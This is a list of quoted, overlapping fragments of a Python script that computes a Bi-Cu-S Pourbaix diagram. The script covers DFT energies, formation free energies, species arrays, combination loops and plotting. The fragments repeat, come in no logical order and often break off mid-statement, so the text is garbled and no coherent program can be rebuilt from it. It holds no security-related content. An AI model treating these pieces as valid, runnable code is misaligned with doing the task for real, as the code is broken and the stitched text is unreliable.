"species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1",
"species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6",
"for k in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color =",
"Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705;",
"in aqueous conditions #find out how much detail you want in your graph",
"of the elements that will allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and",
"ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 if(l==0):",
"color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and",
"species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2",
"species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2",
"species[64,0]=dGf_Cu3BiS3 ######## Electron Count ####################################################### #Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1",
"species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO",
"s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The first species's contribution to the mu current_eng=species[p,0] current_ele=F*U*(species[p,1])",
"combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0, 0]=-1 combos[combo_num, 0, 1]=-1 combos[combo_num, 0, 2]=-1 for k",
"m in range(0, len(species)): for p in range(0, len(species)): #Check to make sure",
"Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875; ############################################################################### ########### MULTICOMPONENT SPECIES ############################################ #Calculated with PBEsol Ee_Cu2S=-13.4793116667;",
"Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334",
"combination for h in range(1, 20): for i in range(1, 20): for j",
"l=0 for k in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color",
"dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458; ############################################################################### ###############################################################################",
"combos[combo_num, 1, 2]=species[p,0] #Electrons combos[combo_num, 2, 0]=species[k,1] combos[combo_num, 2, 1]=species[m,1] combos[combo_num, 2, 2]=species[p,1]",
"smaller values that will be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int current_H2O=int current_aquI=int current_NumEle=int",
"species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6",
"##################################### ############################################################################### #Electronic Energies in eV/f.u. #PBEsol with SOC Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316;",
"muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through all species, commpare all pairs for k in",
"of Formation in eV/f.u. ##Elemental Bismuth Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965",
"species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1 ########### Number",
"loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color",
"#break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.',",
"how much detail you want in your graph #n=input(\"Enter the mesh grid detail",
"back to no t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number of species combinations",
"muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position()",
"species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8",
"Compounds-Calculate the formation energies ############################ ############################################################################### #Free Energies of Formation in eV/f.u. dGf_CuO=",
"species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO",
"is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break",
"len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the",
"species[19,2]=1 species[20,2]=2 #S species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5",
"species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS",
">0 or species[p, 5])): #save species in array t=1 a = np.array([[species[k, 3],species[m,",
"flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1",
"species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0",
"dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458; ############################################################################### ############################################################################### ############################################################################### ################################################################################ ############# CONVERT",
"species[p, 3] ==0) or \\ (species[k, 3]==0 and species[p, 3] ==0)): if((species[k, 4]==0",
"muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper",
"(muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential, E(V)')",
"species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16",
"dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############### Populate",
"species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1",
"1]=species[m,6] combos[combo_num, 7, 2]=species[p,6] #Percent of each in species in final combo f_total=f[0]+f[1]+f[2];",
"#Catch and switch the value of t back to no t=1 save('BiCuOS-speciesCombo.npy', combos)",
"the grid. Calculate for i in range(0, n+1): #calculate the energies for each",
"species[m, 3] ==0) or \\ (species[m, 3]==0 and species[p, 3] ==0) or \\",
"dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922",
"#BiCuSO species[63,6]=1 species[64,6]=0 ########## Aqueous Ions?????? ################################################# #Copper species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1",
"############## Aqueous Ion Free Energies of Formation ######################### #Free Energies of Formation in",
"(t==0): #print(str(combo_num)+': Species1: '+str(k)+', Species2: '+str(m)+'\\n') #Species Number combos[combo_num, 0, 0]=k combos[combo_num, 0,",
"dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F;",
"species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1",
"2018-2020 #Contributions by <NAME> #For reactions in aqueous conditions #find out how much",
"composition f[0]=h f[1]=i f[2]=j #Ending parameters, break loops t=0; h=40; i=40; j=40; #If",
"species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0 ########### Number of Coppers",
"Formation in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s=",
"found k=len(flag)+1 l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0]",
"in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break",
"#check to see if each species contains a single element. This is a",
"colors index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for",
"species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2",
"species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10",
"species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO",
"##################################################### #Copper species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1",
"10^5*Pa eta=6 nI=10**-eta; #Activity Concentration #Array showing the composition of Cu:Bi:S composition=np.array([1,1,1]) #pH",
"current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle);",
"species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0 ######## Hydrogen H+ Count #################################################### #Cu species[0,2]=0 species[1,2]=2 species[2,2]=2",
"with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902;",
"Range and Constants Ulow = -1.5; #V Uhigh = 1.5; #V Urange =",
"species[64,4]=1 ########### Number of Sulphurs S ############################################# #Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0",
"species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1",
"dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############### Populate the species",
"species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24",
"species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3",
"species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3",
"species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12",
"muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through all species, commpare all pairs for k",
"dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528",
"species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0",
"#Number H2O combos[combo_num, 6, 0]=species[k,5] combos[combo_num, 6, 1]=species[m,5] combos[combo_num, 6, 2]=species[p,5] #Aqueous Ions",
"############################################################################### ############################################################################### ########### Chemical Potential Mesh Calculations ############################ ############################################################################### #should be as long",
"and Constants lowpH = -2; highpH = 16; pHrange = int; pHrange =",
"species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus",
"or species[m, 5] >0 or species[p, 5])): #save species in array t=1 a",
"-2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3)",
"dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH =",
"combos[combo_num, 4, 1]=species[m,3] combos[combo_num, 4, 2]=species[p,3] #Number Bismuth combos[combo_num, 5, 0]=species[k,4] combos[combo_num, 5,",
"4] ==0) or \\ (species[k, 4]==0 and species[p, 4] ==0)): if((species[k, 5]==0 and",
"species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0",
"#BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0 ########### Number of Coppers Cu ##############################################",
"M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0] flag[index,1] = muValues[i,j,1] flag[index,2] = muValues[i,j,2]",
"species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1",
"2]=species[p,4] #Number H2O combos[combo_num, 6, 0]=species[k,5] combos[combo_num, 6, 1]=species[m,5] combos[combo_num, 6, 2]=species[p,5] #Aqueous",
"############################################################################### ############## Plot with Lines ############################################ ############################################################################### flag = np.zeros((50,6)) # The first",
"Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658",
"0, 0]=-1 combos[combo_num, 0, 1]=-1 combos[combo_num, 0, 2]=-1 for k in range(0, len(species)):",
"species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus",
"species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3 ######### Number of",
"= muValues[i,j,2] flag[index,3] = random.random(); flag[index,4] = random.random(); flag[index,5] = random.random(); ax.plot(pH,U,'.', color",
"to the mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t in range(3,6):",
"4]==0 and species[p, 4] ==0)): if((species[k, 5]==0 and species[m, 5] ==0) or \\",
"k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the",
"species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1",
"Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302",
"species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0",
"k in range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The first species's",
"species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3",
"species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0",
"muValues[i,j,3]=100000000 #Go through all species, commpare all pairs for k in range(0, combo_num):",
"ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$,",
"to make sure each element is in this combination of species if((species[k, 3]>0",
"species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6",
"0]=species[k,4] combos[combo_num, 5, 1]=species[m,4] combos[combo_num, 5, 2]=species[p,4] #Number H2O combos[combo_num, 6, 0]=species[k,5] combos[combo_num,",
"#should be as long as there are specicies considered #populate with smaller values",
"#if so, find the composition though linear algebra. try: f=np.linalg.solve(a, composition) except: #print('Error:",
"elements that will allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]):",
"species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus",
"t=0; h=40; i=40; j=40; #If there is a linear combination, save the species",
"to iterate through pH range #Applied Potential Range and Constants Ulow = -1.5;",
"asarray([[combo_num]])) print('The number of species combinations is '+ str(combo_num)+'.\\n') ############################################################################### ############################################################################### ############################################################################### ###############################################################################",
"a really long call. flag=1 if((species[k, 3]==0 and species[m, 3] ==0) or \\",
"species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3 ########### Number of Bismuths",
"3]==0 and species[p, 3] ==0)): if((species[k, 4]==0 and species[m, 4] ==0) or \\",
"(Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3)",
"#BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2",
